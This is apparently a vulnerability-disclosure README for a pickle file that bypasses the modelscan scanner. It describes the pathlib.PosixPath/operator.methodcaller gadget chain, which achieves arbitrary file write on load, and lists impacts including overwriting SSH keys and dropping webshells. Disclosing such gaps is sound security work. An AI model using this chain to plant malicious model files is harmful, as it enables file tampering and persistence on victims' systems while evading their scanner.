| # Modelscan Bypass PoC — pathlib.PosixPath.write_text | |
| ## Summary | |
| This pickle file bypasses ProtectAI's modelscan scanner and achieves **arbitrary file write** when loaded with `pickle.load()` or `torch.load()`. | |
| ## Technique | |
| Uses `pathlib.PosixPath` combined with `operator.methodcaller("write_text", ...)` to write arbitrary content to any file path. Neither `pathlib` nor `operator.methodcaller` appear in modelscan's `unsafe_globals` blocklist. | |
| **Chain:** `operator.methodcaller("write_text", "<content>")` → `pathlib.PosixPath("<target_path>")` | |
| ## Scan Result | |
| ``` | |
| $ modelscan scan -p model.pkl | |
| No issues found! 🎉 | |
| ``` | |
| ## Execution Result | |
| ``` | |
| $ python3 -c "import pickle; pickle.load(open('model.pkl','rb'))" | |
| $ cat /tmp/pwned_pathlib.txt | |
| PWNED_VIA_PATHLIB | |
| ``` | |
| ## Impact | |
| Arbitrary file write — can overwrite config files, crontabs, SSH authorized_keys, or drop webshells. Combined with `pathlib.PosixPath.read_text` (via a second methodcaller), also enables arbitrary file read. | |
| ## Blocklist Gaps | |
| 1. `pathlib` module — entirely missing from `unsafe_globals` | |
| 2. `operator.methodcaller` — not blocked (only `operator.attrgetter` is listed) | |